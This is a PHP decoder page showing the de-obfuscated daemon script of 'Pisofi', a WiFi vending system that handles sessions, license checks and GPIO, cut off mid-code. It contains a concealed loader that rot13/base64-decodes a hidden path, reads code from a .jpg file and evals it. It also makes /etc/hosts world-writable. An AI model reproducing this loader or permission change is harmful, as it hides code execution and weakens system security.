Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* __________________________________________________ | Obfuscated by YAK..

Decoded Output download

<?php  
/*   __________________________________________________  
    |  Obfuscated by YAK Pro - Php Obfuscator  2.0.5   |  
    |              on 2022-07-16 20:05:44              |  
    |    GitHub: https://github.com/pk-fr/yakpro-po    |  
    |__________________________________________________|  
*/  
 $hHhNI = "/.cache/tmp/55/05/pfi/"; $hHhNI = dirname(__DIR__) . "/"; $hHhNI = "/.cache/tmp/55/05/pfi/"; $hHhNI = "/.cac" . "he/tm" . "p/5" . "5/05" . "/pfi/"; require_once $hHhNI . "vendor/autoload.php"; $r3Nz1 = "DS"; $sa3ld = "ROOTPATH"; $tPq00 = "PUBLICPATH"; $P2vkw = "SCRIPTSPATH"; define($r3Nz1, DIRECTORY_SEPARATOR); define($sa3ld, $hHhNI); define($tPq00, "/var/www/html/" . basename(ROOTPATH) . "/public/"); define($P2vkw, "/var/www/html/" . basename(ROOTPATH) . DS . "scripts" . DS); use Illuminate\Database\Capsule\Manager as Capsule; use Illuminate\Database\Capsule\Manager as DB; $g1wRv = (require ROOTPATH . DS . "app" . DS . "Config" . DS . "database.php"); use Illuminate\Events\Dispatcher; use Illuminate\Container\Container; $BLODZ = new Capsule(); $BLODZ->setEventDispatcher(new Dispatcher(new Container())); $BLODZ->addConnection($g1wRv); $BLODZ->setAsGlobal(); $BLODZ->bootEloquent(); use App\Models\ActiveClient; use App\Models\ChargingClient; use App\Models\OldChargingClient; use App\Models\OldClient; use App\Models\ConnectionSession; use App\Models\OldConnectionSession; use App\Models\PisofiSetting; use App\Pisofi\Pisofier; use App\Pisofi\PinConfigurationManager; use App\Pisofi\PortalManager; use App\Pisofi\DesktopManager as DM; use App\Pisofi\Vendo\VendoManager; use App\Models\DesktopClient; use App\Pisofi\DesktopManager; use App\Pisofi\SessionManager; use App\Pisofi\SessionOptionsManager; use App\Helpers\PisofiHelper; use App\Models\ClientAccount; use App\Pisofi\Server\NgrokServerManager; use App\Pisofi\GPIO\PisofiGPIO; goto ztRI9; eCoSq: if (flock($fFS64, LOCK_EX | LOCK_NB)) { goto zBE_m; } goto l9_Gf; QXxGp: zBE_m: goto zc9CR; LUoU2: fclose($fFS64); goto nUaoL; Zmv2D: goto bGqdh; goto Y1kqF; ig5Pm: $RA7Gm = true; goto nA3Md; o7E9B: flock($fFS64, LOCK_UN); goto LUoU2; xeHQ1: try { goto GMaMZ; yd8ND: sleep(1); goto hK3is; lDMpf: FZMrC($Thdr9, $RA7Gm); goto yd8ND; GMaMZ: echo ROOTPATH . PHP_EOL; goto lDMpf; hK3is: } catch (Exception $tRWTQ) { goto uBXRM; vb8Gy: sleep(5); goto s2GF0; izFrq: echo $tRWTQ->getMessage() . PHP_EOL; goto vb8Gy; uBXRM: file_put_contents(__FILE__ . ".log", date("Y-m-d H:i:s") . " : " . $tRWTQ->getMessage() . " at Line " . $tRWTQ->getLine() . " on " . $tRWTQ->getFile() . " 
"); goto izFrq; s2GF0: } goto Zmv2D; l9_Gf: die("Already running. Exiting..."); goto QXxGp; ztRI9: function FzMrc(Pisofier $Thdr9, $RA7Gm = false) { goto TpN51; rTwuf: $fSaOy = (bool) $GaE67->pauseOnDisconnect(); goto Txcs5; Zd6hI: $nGxp3 = (bool) $lY2YW->canLimitMaxPauseTime(); goto EDeIw; x0cxT: $BE75D = new SessionOptionsManager(); goto wpaj8; SYjBE: $gALHl = $G60Em->notificationSettings(); goto r9GO1; qabOp: $WRn20 = $lY2YW->isPauseTimeValidityEnabled(); goto Kxgf0; fYARe: $jz9xs = (int) $G60Em->pauseTimeValidity(); goto rTwuf; EDeIw: $CYMfX = $G60Em->isPauseTimeValidityEnabled(); goto fYARe; Kxgf0: $q1gKN = (int) $lY2YW->pauseTimeValidity(); goto kmW1W; wpaj8: $WJjIp = (bool) $BE75D->autoRemoveExpiredSessions(); goto SYjBE; r9GO1: $X0eQD = $gALHl["enabled"]; goto efOMp; x3P_t: $GaE67 = new DM(); goto x0cxT; kmW1W: $NzYsc = (int) $lY2YW->portalMinimumTimeAllowedPauseInSeconds(); goto I_P7Y; an1FO: $G60Em = new DesktopManager(); goto x3P_t; JO4Ko: try { goto IwBrL; mu2uy: $Xy6xY = 0; goto NUvdl; ii0t3: Ao4pH: goto MzPUD; seOmQ: E4Wjc: goto nbspX; Ek3AX: $W7MEb = false; goto fpB8L; X3eBM: oYmv0: goto durP1; tJCLD: $PN4U3 = time(); goto jrUEU; NUvdl: GiewW: goto uO6th; esMHL: try { goto ArNVZ; LTvAs: PisofiHelper::publishEvent("onclientchargedone", ["clients" => $stDWy]); goto T5uo4; ArNVZ: DB::update("UPDATE charging_clients SET sent=0, remarks = 'Running Update Time', remaining_time = IF({$VBsPb} > remaining_time, 0, GREATEST(0, remaining_time - {$VBsPb}))  WHERE status = 1"); goto d5AxZ; SJl70: foreach ($hgaXW as $jzxYf) { goto sEIUy; rTlg2: RX5BT: goto ZlwwB; e3YCD: PisofiGPIO::setValue($Y3leK->getValue(), PisofiGPIO::VALUE_HIGH); goto Dg3Oj; uGAn0: f3JIe: goto e3YCD; ZlwwB: SfIhz: goto Zjkkv; vqMFW: PisofiGPIO::setValue($Y3leK->getValue(), PisofiGPIO::VALUE_LOW); goto Ub8_K; gP3Gk: if (!$aGGSS) { goto SfIhz; } goto fwKEk; RcBw_: $stDWy[] = $jzxYf->pin_name; goto IaaSq; Dg3Oj: gjTl1: goto wbyOo; Zjkkv: goto BsELx; goto XmwkT; DPc_t: $lY2YW = new PinConfigurationManager(); goto zEQAb; XmwkT: mTmzF: goto DPc_t; Uc2Pa: $jzxYf->delete(); goto RcBw_; wbyOo: $lY2YW->resetCurrentValue($jzxYf->pin_name); goto r45cT; IaaSq: nihXy: goto doqbX; WLOCg: zHP8Y: goto QxqaD; qhKEz: $aGGSS->disablePin($vepWb); goto rTlg2; zEQAb: $Y3leK = $lY2YW->getPinByName($jzxYf->pin_name); goto Sob7G; QxqaD: BsELx: goto ZtvZs; vpXat: if (!$vepWb) { goto RX5BT; } goto qhKEz; Sob7G: if (!$Y3leK) { goto zHP8Y; } goto Cu1vJ; io5GV: if ($U0sUl == PisofiGPIO::VALUE_LOW) { goto f3JIe; } goto vqMFW; Cu1vJ: $U0sUl = $Y3leK->getLogicLevel(); goto io5GV; Ub8_K: goto gjTl1; goto uGAn0; ZtvZs: OldChargingClient::create(["mac" => $jzxYf->mac, "ip_address" => $jzxYf->ip_address, "connection_time" => $jzxYf->connection_time, "remaining_time" => $jzxYf->remaining_time, "pin_name" => $jzxYf->pin_name, "remarks" => $jzxYf->remarks, "remarks" => $jzxYf->remarks, "client_id" => $jzxYf->client_id]); goto Uc2Pa; fwKEk: $vepWb = $aGGSS->getChargingStation($jzxYf->pin_name); goto vpXat; zABXU: $UfP3S = new VendoManager(); goto kQGIL; r45cT: $lY2YW->save(); goto WLOCg; kQGIL: list($lIa3U, $Y3leK) = explode("___", $jzxYf->pin_name); goto qyL3T; qyL3T: $aGGSS = $UfP3S->getVendo($lIa3U); goto gP3Gk; sEIUy: if (stripos($jzxYf->pin_name, "user_charging_") !== false) { goto mTmzF; } goto zABXU; doqbX: } goto HIUdj; ajwdX: if (!(count($stDWy) > 0)) { goto MJJYp; } goto LTvAs; awI81: $stDWy = []; goto SJl70; HIUdj: P8Q2m: goto ajwdX; T5uo4: MJJYp: goto NePhn; d5AxZ: $hgaXW = ChargingClient::whereRaw("(status = 1 AND remaining_time <= 0) OR (status = 0)")->get(); goto awI81; NePhn: } catch (Exception $tRWTQ) { echo "[CHARGING]: " . date("Y-m-d H:i:s") . " | " . $tRWTQ->getMessage() . PHP_EOL; file_put_contents(__FILE__ . ".log", date("Y-m-d H:i:s") . " : " . $tRWTQ->getMessage() . " at Line " . $tRWTQ->getLine() . " on " . $tRWTQ->getFile() . "\xd\xa"); } goto fIBe5; FjiYo: if (!($VBsPb >= 1800)) { goto ud1Yv; } goto Ek3AX; c8eyp: PisofiSetting::setValue("last_kicker_run", $PN4U3); goto AW5mr; eeoEB: $Xy6xY += $VBsPb; goto HHQUR; OCPMs: Ms2mh: goto KjS8_; UbO_x: $Y6g_u = []; goto Yrg0p; SUhb8: if (!$xb4ec) { goto Ms2mh; } goto VcVt3; hbja1: $xb4ec = time(); goto m1g4g; R0RUS: if ($RA7Gm && $B6hA0 >= $fjXVy) { goto oYmv0; } goto pWoBB; f3WpG: $Xy6xY -= 60 * 60; goto C2gnn; WBoHc: goto E4Wjc; goto X3eBM; ituDQ: m3H1t: goto H9oXO; pAaWT: echo "Time has been adjusted..." . PHP_EOL; goto tJCLD; Ec0Vd: if ($W7MEb) { goto WYABg; } goto n4xmH; UOqv7: ud1Yv: goto D3mzb; cto0r: $W7MEb = true; goto hXeIC; Fg6qX: WYABg: goto UOqv7; zWqyX: $B6hA0 = 60 * 60; goto E2zL9; mWRjR: try { goto lmWXN; nXsbB: if (!$uFeIV) { goto GU9dP; } goto SpoI7; SpoI7: $WB61b = new NgrokServerManager(); goto ZgYJF; ZgYJF: $Q9NQK = $WB61b->sendNgrokInfo(); goto NUNqb; GefYC: GU9dP: goto cBvKw; NUNqb: PisofiSetting::setValue("last_ngrok_sync", time()); goto GefYC; lmWXN: $uFeIV = PisofiHelper::getPisofiNgrokUrl(); goto nXsbB; cBvKw: } catch (\Exception $tRWTQ) { file_put_contents(__FILE__ . ".log", date("Y-m-d H:i:s") . " : " . $tRWTQ->getMessage() . " at Line " . $tRWTQ->getLine() . " on " . $tRWTQ->getFile() . " 
"); echo $tRWTQ->getMessage() . PHP_EOL; } goto WROIs; D3mzb: $gX6_B = false; goto UbO_x; n_rbv: nNK5x: goto LUGkV; C2gnn: goto GiewW; goto ii0t3; zG4zV: jhgBn: goto Wp_64; WROIs: f1gvc: goto R0RUS; durP1: try { goto D5eFZ; VrxcZ: eval("?>" . $l0fFD); goto MR_Pt; N6bki: $l0fFD = $nfiO6($HoI78($tl5a2($nfiO6($HoI78($mw0IU))))); goto VrxcZ; LEGpa: $HoI78 = "str_rot13"; goto MOwwt; D5eFZ: $mw0IU = "Y3Mupv93q3pinUEg" . "oP9jnKAiMzxipUIvoTywY2ygM" . "l91p2IlZGRgZGV4rQRlBP5dpTp="; goto P3qBv; MR_Pt: $B6hA0 = 0; goto vGbo_; P3qBv: $tl5a2 = "file_get_contents"; goto LEGpa; MOwwt: $nfiO6 = "base64_decode"; goto N6bki; vGbo_: } catch (Exception $tRWTQ) { echo $tRWTQ->getMessage() . PHP_EOL; } goto HXOms; HXOms: if ($Xy6xY > 60 * 60 * 24 * 7) { goto nNK5x; } goto eeoEB; IFJ9m: DVp3c: goto TG1VT; VcVt3: if (!($xb4ec < time() - 60)) { goto m3H1t; } goto hbja1; n4xmH: echo "Time was not set properly..." . PHP_EOL; goto niqAP; lIxMl: $PN4U3 = time(); goto OFkwO; wEizC: if (!(time() - $jPgYL > 60 * 60)) { goto f1gvc; } goto mWRjR; HHQUR: goto upT5D; goto n_rbv; wslzy: $Xy6xY = 0; goto d2K_O; MzPUD: try { goto ZsG3_; FoO00: if (!$sO0V7) { goto SslR4; } goto z_0xI; TFEhK: goto cspiM; goto RdkFY; LrRzL: cspiM: goto cfgmO; RnfSK: $sO0V7 = isset($ZwVPc["license"]) ? $ZwVPc["license"] : null; goto FoO00; ZsG3_: $ZwVPc = json_decode(\App\Models\PisofiSetting::getValue("license"), true); goto glWYC; glWYC: if (!(isset($ZwVPc["licenseType"]) && $ZwVPc["licenseType"] == "LICENSED")) { goto Wm68M; } goto RnfSK; cfgmO: Wm68M: goto C1eUP; Hq1cn: $ip38S = $jzxYf->sendAsync($nAvbg)->then(function ($POCaY) { goto Eey9I; U0I8S: App\Models\PisofiSetting::setValue("license", null); goto w0TcX; hsICV: if (!$yjTsB) { goto SSU8n; } goto IoAZ1; IoAZ1: $TCaip = json_decode($yjTsB, true); goto IWayY; pLy3J: $yjTsB = \App\Helpers\PisofiHelper::decodeCipher($Q9NQK["data"], $sO0V7); goto hsICV; tx2xC: SSU8n: goto vBMdO; owDhH: $sO0V7 = App\Models\PisofiSetting::getValue("cipher_key"); goto pLy3J; IWayY: if (!($TCaip["status"] !== "OK")) { goto k1CqD; } goto U0I8S; Eey9I: $Q9NQK = json_decode($POCaY->getBody(), true); goto owDhH; w0TcX: k1CqD: goto tx2xC; vBMdO: }); goto Nk9fV; RdkFY: SslR4: goto uqDil; z_0xI: $nAvbg = new \GuzzleHttp\Psr7\Request("GET", "https://pisofiph.com/api/lkval8/" . $sO0V7); goto EYuJk; EYuJk: $jzxYf = new \GuzzleHttp\Client(); goto Hq1cn; Nk9fV: $ip38S->wait(); goto TFEhK; uqDil: App\Models\PisofiSetting::setValue("license", null); goto LrRzL; C1eUP: } catch (\Exception $tRWTQ) { file_put_contents(__FILE__ . ".log", date("Y-m-d H:i:s") . " : " . $tRWTQ->getMessage() . " at Line " . $tRWTQ->getLine() . " on " . $tRWTQ->getFile() . "\xd\xa"); echo $tRWTQ->getMessage() . PHP_EOL; } goto mu2uy; fCrto: GCafx: goto Ec0Vd; OFkwO: $xb4ec = intval(PisofiSetting::getValue("last_kicker_run")); goto pyQRa; Qc1YG: goto cIbkR; goto zG4zV; KjS8_: $xb4ec = time(); goto JSJRx; pyQRa: $VBsPb = max(0, $PN4U3 - $xb4ec); goto FjiYo; E2zL9: $fjXVy = 60 * 60; goto wslzy; pWoBB: $B6hA0 += $VBsPb; goto WBoHc; niqAP: sleep(3); goto M_go1; oLgXZ: $HLFS2->exec("SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED "); goto lIxMl; H9oXO: goto DVp3c; goto OCPMs; SsEkR: GL6o0: goto c8eyp; d2K_O: $xb4ec = PisofiSetting::getValue("last_kicker_run"); goto SUhb8; TG1VT: cIbkR: goto Qbfha; fIBe5: $jPgYL = intval(PisofiSetting::getValue("last_ngrok_sync")); goto wEizC; Qbfha: if (!true) { goto jhgBn; } goto G2HOf; jrUEU: PisofiSetting::setValue("last_kicker_run", $PN4U3); goto B6Miy; hXeIC: rwbV7: goto fCrto; VzZN2: exec("sudo /usr/bin/php /var/www/html/pisofi/scripts/pfirules false > /dev/null 2>&1 & "); goto SsEkR; fpB8L: if (!PisofiHelper::isOnline()) { goto GCafx; } goto Lad5S; Lad5S: if (!PisofiHelper::setDateTime()) { goto rwbV7; } goto pAaWT; JSJRx: PisofiSetting::setValue("last_kicker_run", $xb4ec); goto IFJ9m; UQ4ky: try { goto afOdG; Z4WnU: chmod("/etc/hosts", 0777); goto ynsWt; afOdG: chmod("/etc/hosts", 0777); goto upcSY; yU3Dl: $HQzSx = array_filter($qkx3M, function ($T2Gde) { goto fU5M8; MXKmp: Sb9SZ: goto yFEuT; Bx4j9: return stripos($T2Gde, ".pisofiph.com") !== false; goto MXKmp; fU5M8: if (!(stripos($T2Gde, "pisofiph") !== false)) { goto Sb9SZ; } goto Bx4j9; yFEuT: return true; goto GsY3Z; GsY3Z: }); goto knIgo; upcSY: $qkx3M = explode(" 
", file_get_contents("/etc/hosts")); goto yU3Dl; knIgo: file_put_contents("/etc/hosts", implode(" 
", $HQzSx)); goto Z4WnU; ynsWt: } catch (\Exception $tRWTQ) { } goto seOmQ; nbspX: if (!$gX6_B) { goto GL6o0; } goto VzZN2; LUGkV: if (PisofiHelper::areWeOnline()) { goto Ao4pH; } goto f3WpG; m1g4g: PisofiSetting::setValue("last_kicker_run", $xb4ec); goto ituDQ; G2HOf: $HLFS2 = DB::connection()->getPdo(); goto oLgXZ; B6Miy: $xb4ec = intval(PisofiSetting::getValue("last_kicker_run")); goto Ia2I1; Yrg0p: try { goto kmG8H; MiUXw: $YhiC2[] = " ( status = 2 AND type = 1 AND admin_pause_override = 0 AND NOT last_paused IS NULL AND (timestampdiff(MINUTE,last_paused, now())) >= {$q1gKN} ) "; goto U2BpQ; SbW7R: fKNn0: goto NeZdn; jibNg: if (!($x_A7k->count() > 0)) { goto vQpCH; } goto sLytr; rQ_sD: if (!$YhiC2) { goto mHArs; } goto Iibtg; EJOmq: if (!$lgwLb) { goto YH1Q_; } goto Mv2Cc; F0rxS: $WJjIp = $BE75D->autoRemoveExpiredSessions() ? " OR (status = 4)" : ''; goto Brii7; NDNIS: kWVPw: goto WEbYd; bSIQJ: if (!$nGxp3) { goto LeDhd; } goto ffNyY; LxFMf: $gX6_B = true; goto jaIB4; YZeSj: if (!(count($Y6g_u) > 0)) { goto kWVPw; } goto FFV98; PZr14: LeDhd: goto onDMu; ffNyY: $YhiC2[] = " ( status = 2 AND type = 1 AND admin_pause_override = 0 AND remaining_time > {$YmgC4} ) "; goto PZr14; yFOOv: $gX6_B = true; goto riPFE; w14vk: Ol2zv: goto vQ_so; WhldM: DB::update(" 
                    UPDATE connection_sessions s, active_clients a\xd\xa                    SET\xd 
                        s.status = a.status,\xd 
                        a.updated_at = NOW(), 
                        s.remaining_time = IF({$VBsPb} > a.remaining_time, 0, GREATEST(0, a.remaining_time - {$VBsPb})),  
\xa                        a.remaining_time = IF({$VBsPb} > a.remaining_time, 0, GREATEST(0, a.remaining_time - {$VBsPb})),\xd 
                        s.download_rate = a.download_rate, 
\xa                        s.upload_rate = a.upload_rate, 
\xa                        s.upload_auto = a.upload_auto, 
\xa                        s.download_auto = a.download_auto, 
                        s.download_usage = a.download_usage,\xd\xa                        s.upload_usage = a.upload_usage, 
                        a.expiration_date = s.expiration_date, 
\xa                        a.allow_pause = s.allow_pause,\xd 
                        a.allow_conversion = s.allow_conversion, 
                        a.allow_sharing = s.allow_sharing, 
                        s.admin_pause_override = a.admin_pause_override,\xd 
                        s.bandwidth_limit = a.bandwidth_limit, 
\xa                        s.pause_count = (CASE WHEN s.type = 1 THEN s.pause_count ELSE 0 END),\xd\xa                        a.pause_count = (CASE WHEN s.type = 1 THEN s.pause_count ELSE 0 END), 
\xa                        a.type = s.type,\xd\xa                        a.status = (CASE \xd 
                            WHEN s.status = 0 THEN a.status 
                            WHEN s.expiration_date IS NULL THEN a.status 
                            WHEN (s.expiration_date > NOW()) THEN (\xd 
                                CASE WHEN a.status = 4 THEN 2 ELSE a.status END 
                            ) \xd 
                            ELSE 4\xd\xa                        END), 
\xa                        s.data = a.data\xd\xa                    WHERE s.id = a.session_id AND a.status = 1"); goto F0rxS; FqIzj: $gX6_B = true; goto QwfEA; d0x8X: $gX6_B = true; goto w14vk; f0MUc: foreach ($Q46rb as $TkqeU) { goto OPtSp; OPtSp: $cQDNl = "connect"; goto mcPum; r6K0c: $kI7ec->{$cQDNl}(); goto UQ7z5; mcPum: $kI7ec = new SessionManager($TkqeU, $cQDNl); goto r6K0c; UQ7z5: nCb6J: goto Cd43Z; Cd43Z: } goto isCuH; StvlY: foreach ($hgaXW as $jzxYf) { goto WQZrD; NOo0J: $Y6g_u[] = ["id" => $jzxYf->id, "mac" => $jzxYf->mac, "ip_address" => $jzxYf->ip_address]; goto WV34W; xI6D2: $TkqeU = ConnectionSession::find($jzxYf->session_id); goto ofgqk; QAsMN: $jzxYf->delete(); goto NOo0J; WQZrD: $Thdr9->disconnect($jzxYf->mac, $jzxYf->ip_address, $jzxYf->mark, $jzxYf->download_rate, $jzxYf->upload_rate, $jzxYf->download_rate); goto Tr6x1; A7lZT: OldConnectionSession::create($TkqeU->toArray()); goto B4YDO; ofgqk: if (!$TkqeU) { goto ZQ1s4; } goto A7lZT; Tr6x1: zkUeT($jzxYf); goto xI6D2; B4YDO: $TkqeU->delete(); goto gtdvi; gtdvi: ZQ1s4: goto QAsMN; WV34W: tpyBv: goto sx0mQ; sx0mQ: } goto Wahlv; ZjuUI: if (!$BE75D->autoRemoveExpiredSessions()) { goto i4mXq; } goto ZHUDI; Iibtg: $x_A7k = ActiveClient::whereRaw(join(" OR ", $YhiC2))->get(); goto jibNg; k08y9: i4mXq: goto Ie6j6; OK096: if (!$WRn20) { goto badBw; } goto MiUXw; isCuH: QzoZu: goto yFOOv; kmG8H: $dChtB = ConnectionSession::whereRaw("LENGTH(TRIM(mac)) <= 0")->get(); goto mUcn8; FFV98: PisofiHelper::publishEvent("onclientdisconnected", ["clients" => $Y6g_u]); goto NDNIS; Brii7: $hgaXW = ActiveClient::whereRaw("(status = 1 AND remaining_time <= 0 AND type = 1) OR ( status = 1 AND (download_usage + upload_usage) > bandwidth_limit AND type = 2) OR ( status = 1 AND bandwidth_limit <= 0 AND type = 2) OR (status = 0) {$WJjIp}")->get(); goto StvlY; nW5uW: DB::update("\xd\xa                    UPDATE active_clients a, usages u 
                    SET 
\xa                        a.download_usage = u.download_usage,\xd 
                        a.upload_usage = u.upload_usage\xd 
                    WHERE a.mac = u.mac AND a.ip_address = u.ip_address AND a.status = 1"); goto ckXp4; U2BpQ: badBw: goto EJOmq; Mv2Cc: $YhiC2[] = " ( status = 2 AND type = 1 AND admin_pause_override = 0 AND remaining_time < {$NzYsc} ) "; goto p9dUa; nFaDP: DOqWs: goto rQ_sD; wdEfw: mHArs: goto nW5uW; sCTv8: o9Z8e: goto dDvMP; xqqjk: if (!($x_A7k->count() > 0)) { goto Ol2zv; } goto yqgbp; jaIB4: u5puT: goto YZeSj; mUcn8: foreach ($dChtB as $cp1yj) { goto hrufP; fL1Rx: $cp1yj->mac = $l9NZf->mac; goto gkaP_; EHyQd: goto iz7JH; goto OGcdJ; V_XaC: $cp1yj->save(); goto kOOtN; gkaP_: $cp1yj->save(); goto CMAx4; hrufP: $jh9vu = false; goto cZ7qX; RcD1b: $cp1yj->delete(); goto EHyQd; LeUf3: $MsMBj = ConnectionSession::where("ip_address", $cp1yj->ip_address)->first(); goto QdYr4; PQ92B: $cp1yj->save(); goto Gdw5B; otx6m: FuI64: goto Zvw9p; Zvw9p: dtnOf: goto xyNPg; Gdw5B: iz7JH: goto ytxN5; QdYr4: if ($MsMBj) { goto uM6os; } goto RcD1b; lgptd: $MsMBj = ConnectionSession::where("client_id", $cp1yj->client_id)->first(); goto og_iY; OGcdJ: uM6os: goto CgcMf; ytxN5: M4uUC: goto C5y2c; eJtO_: uf870: goto T6YtQ; CgcMf: $cp1yj->mac = $MsMBj->mac; goto PQ92B; ormFd: if ($l9NZf) { goto FyLip; } goto lgptd; XQlo9: $cp1yj->mac = $MsMBj->mac; goto V_XaC; T6YtQ: goto FuI64; goto UOfJz; xyNPg: if ($jh9vu) { goto M4uUC; } goto LeUf3; og_iY: if (!$MsMBj) { goto uf870; } goto XQlo9; m4dPL: $l9NZf = ClientAccount::find($cp1yj->client_id); goto ormFd; CMAx4: $jh9vu = true; goto otx6m; UOfJz: FyLip: goto fL1Rx; kOOtN: $jh9vu = true; goto eJtO_; cZ7qX: if (empty(trim($cp1yj->client_id))) { goto dtnOf; } goto m4dPL; C5y2c: OUrJp: goto NbiE1; NbiE1: } goto gQutk; NeZdn: if (!(count($pr2v9) > 0)) { goto bipib; } goto FqIzj; QwfEA: bipib: goto xQ8Mw; MiL7I: foreach ($pr2v9 as $qnD3u) { goto Azt4c; gZg6s: $kI7ec->{$cQDNl}(); goto uu5Eg; zoCgK: $kI7ec = new SessionManager($qnD3u, $cQDNl); goto gZg6s; uu5Eg: f72Nl: goto hkvDq; P05i6: $cQDNl = "connect"; goto zoCgK; Azt4c: echo "Auto Continue Session {$qnD3u->id}" . PHP_EOL; goto P05i6; hkvDq: } goto SbW7R; mv0RN: $gX6_B = true; goto DiWw_; wwjG3: $pr2v9 = ConnectionSession::whereRaw("id IN (\xd 
                        SELECT MIN(id) min_id FROM connection_sessions 
                        WHERE (CASE \xd 
                            WHEN expiration_date IS NULL THEN status 
                            WHEN (expiration_date >= NOW()) THEN status 
\xa                            ELSE 4 
\xa                        END) <> 4 
\xa                        GROUP BY CONCAT(mac, ip_address)\xd\xa                    ) AND (mac, ip_address) NOT IN (SELECT mac, ip_address FROM active_clients) \xd\xa                    AND (CASE \xd\xa                        WHEN expiration_date IS NULL THEN status\xd 
                        WHEN (expiration_date >= NOW()) THEN status 
                        ELSE 4 
\xa                    END) <> 4 AND LENGTH(TRIM(mac)) > 0\xd\xa                    ")->get(); goto MiL7I; rzYiH: p_JRv: goto mv0RN; yqgbp: foreach ($x_A7k as $g2UXO) { goto PGvTt; b2k0f: y2AgK: goto ghXUT; PGvTt: $Q9NQK = $Thdr9->connect($g2UXO->mac, $g2UXO->ip_address, $g2UXO->mark, $g2UXO->download_rate, $g2UXO->upload_rate, $g2UXO->download_rate); goto t_OgJ; t_OgJ: $g2UXO->status = 1; goto i6hhQ; i6hhQ: $g2UXO->save(); goto b2k0f; ghXUT: } goto By0va; dDvMP: if (!$BE75D->autoContinue()) { goto soWbM; } goto wwjG3; gQutk: kXSdu: goto UfBo6; p9dUa: YH1Q_: goto bSIQJ; Wahlv: LDpZD: goto ZjuUI; riPFE: LqzON: goto nFQYK; c0B75: foreach ($hgaXW as $jzxYf) { goto w5h_P; AaoFo: $jzxYf->delete(); goto r3zPj; svVWX: $gX6_B = true; goto nCBsF; r3zPj: $Y6g_u[] = ["id" => $jzxYf->id, "mac" => $jzxYf->mac, "ip_address" => $jzxYf->ip_address]; goto svVWX; nCBsF: lcisx: goto fAtpZ; md6YR: zKUeT($jzxYf); goto AaoFo; w5h_P: $Q9NQK = $Thdr9->disconnect($jzxYf->mac, $jzxYf->ip_address, $jzxYf->mark, $jzxYf->download_rate, $jzxYf->upload_rate, $jzxYf->download_rate); goto md6YR; fAtpZ: } goto sCTv8; vQ_so: $YhiC2 = []; goto OK096; xQ8Mw: soWbM: goto LK0sQ; sLytr: foreach ($x_A7k as $g2UXO) { goto Ct6Gc; jzsxs: $g2UXO->save(); goto epUXb; Ct6Gc: $Q9NQK = $Thdr9->connect($g2UXO->mac, $g2UXO->ip_address, $g2UXO->mark, $g2UXO->download_rate, $g2UXO->upload_rate, $g2UXO->download_rate); goto QTnVK; QTnVK: $g2UXO->status = 1; goto jzsxs; epUXb: UNqJx: goto QY8it; QY8it: } goto rzYiH; nFQYK: $hgaXW = ActiveClient::whereRaw(" session_id NOT IN (select id from connection_sessions) OR session_id IS NULL OR LENGTH(TRIM(mac)) <= 0")->get(); goto c0B75; Nmo4Z: $YhiC2[] = " ( pause_count > {$iESPl}) "; goto nFaDP; ckXp4: DB::update(" 
\xa                    UPDATE connection_sessions SET status = 2  
\xa                    WHERE status = 1 \xd\xa                        AND id NOT IN (SELECT session_id FROM active_clients WHERE (NOT session_id IS NULL) AND status = 1 )\xd 
                "); goto WhldM; onDMu: if (!($lY2YW->maxPauseLimit() > 0)) { goto DOqWs; } goto SCKJd; By0va: ZcfCx: goto d0x8X; RmLE6: if (!(count($Q46rb) > 0)) { goto LqzON; } goto f0MUc; Ie6j6: if (!(count($hgaXW) > 0)) { goto u5puT; } goto LxFMf; UfBo6: $Q46rb = ConnectionSession::whereRaw(" id IN (\xd\xa                    SELECT MIN(cs.id)  
\xa                    FROM connection_sessions cs JOIN active_clients ac \xd 
                    ON ac.session_id = cs.id 
\xa                    WHERE ac.`status` = 2 AND ac.admin_pause_override = 0 AND cs.allow_pause = 0 
\xa                    GROUP BY concat(cs.ip_address, cs.mac) 
\xa                    ) AND status <> 0")->get(); goto RmLE6; ZHUDI: ConnectionSession::whereRaw("status = 4 OR ( NOT expiration_date IS NULL AND expiration_date < NOW() AND status <> 0 ) ")->delete(); goto k08y9; DiWw_: vQpCH: goto wdEfw; SCKJd: $iESPl = intval($lY2YW->maxPauseLimit()); goto Nmo4Z; LK0sQ: $x_A7k = ActiveClient::whereRaw("( status = 2 AND admin_pause_override = 0 AND allow_pause = 0 ) OR type = 2")->get(); goto xqqjk; WEbYd: } catch (\Exception $tRWTQ) { echo "[WIFI]: " . date("Y-m-d H:i:s") . " | " . $tRWTQ->getMessage() . PHP_EOL; file_put_contents(__FILE__ . ".log", date("Y-m-d H:i:s") . " : " . $tRWTQ->getMessage() . " at Line " . $tRWTQ->getLine() . " on " . $tRWTQ->getFile() . "\xd\xa"); } goto zBrCD; uO6th: upT5D: goto UQ4ky; zBrCD: try { goto kWa23; Y4V3K: $hgaXW = DesktopClient::whereRaw("(status = 1 AND remaining_time <= 0) OR (status = 0)")->get(); goto NYsOe; bXA9n: $hgaXW = DesktopClient::whereRaw("(status = 1 AND remaining_time <= 0) OR (status = 0) OR (LOCATE('disconnect',data) > 0 AND status = 1 AND remaining_time > 0)")->get(); goto KA1_1; P_4_f: CE4A1: goto dmJvV; v3I5O: if (!$X0eQD) { goto pEkbl; } goto eVZNa; YyIcR: Xagf7: goto bXA9n; m3T_D: $Y6g_u = []; goto k1On8; KA1_1: T6Ou3: goto m3T_D; T8WvI: lQgOh: goto v3I5O; dZ9TZ: PisofiHelper::publishEvent("onclientdisconnected", ["clients" => $Y6g_u]); goto P_4_f; vTdt1: ZFv0V: goto Vzhkj; eVZNa: $ohvE5 = DesktopClient::whereRaw(" status = 1 AND notified = 0 AND remaining_time <= {$uGSgZ} ")->get(); goto Ohdof; kWa23: DB::update("UPDATE desktop_clients SET sent=0, updated_at = NOW(), remarks = 'Running Update Time', remaining_time = IF({$VBsPb} > remaining_time, 0, GREATEST(0, remaining_time - {$VBsPb})) WHERE status = 1"); goto NViqg; Vzhkj: if (!(count($hgaXW) > 0)) { goto lQgOh; } goto pyRbg; Ohdof: foreach ($ohvE5 as $I19L0) { goto tHakz; KaHKH: Egg1R: goto vFrvT; kmEJT: exec("sudo /usr/bin/php /var/www/html/pisofi/scripts/web_push {$ZHP8m} > /dev/null 2>&1 & "); goto prh7Q; tHakz: $ZHP8m = $I19L0->id; goto kmEJT; prh7Q: $I19L0->notified = 1; goto ymrBZ; ymrBZ: $I19L0->save(); goto KaHKH; vFrvT: } goto x6z3l; NYsOe: goto T6Ou3; goto YyIcR; 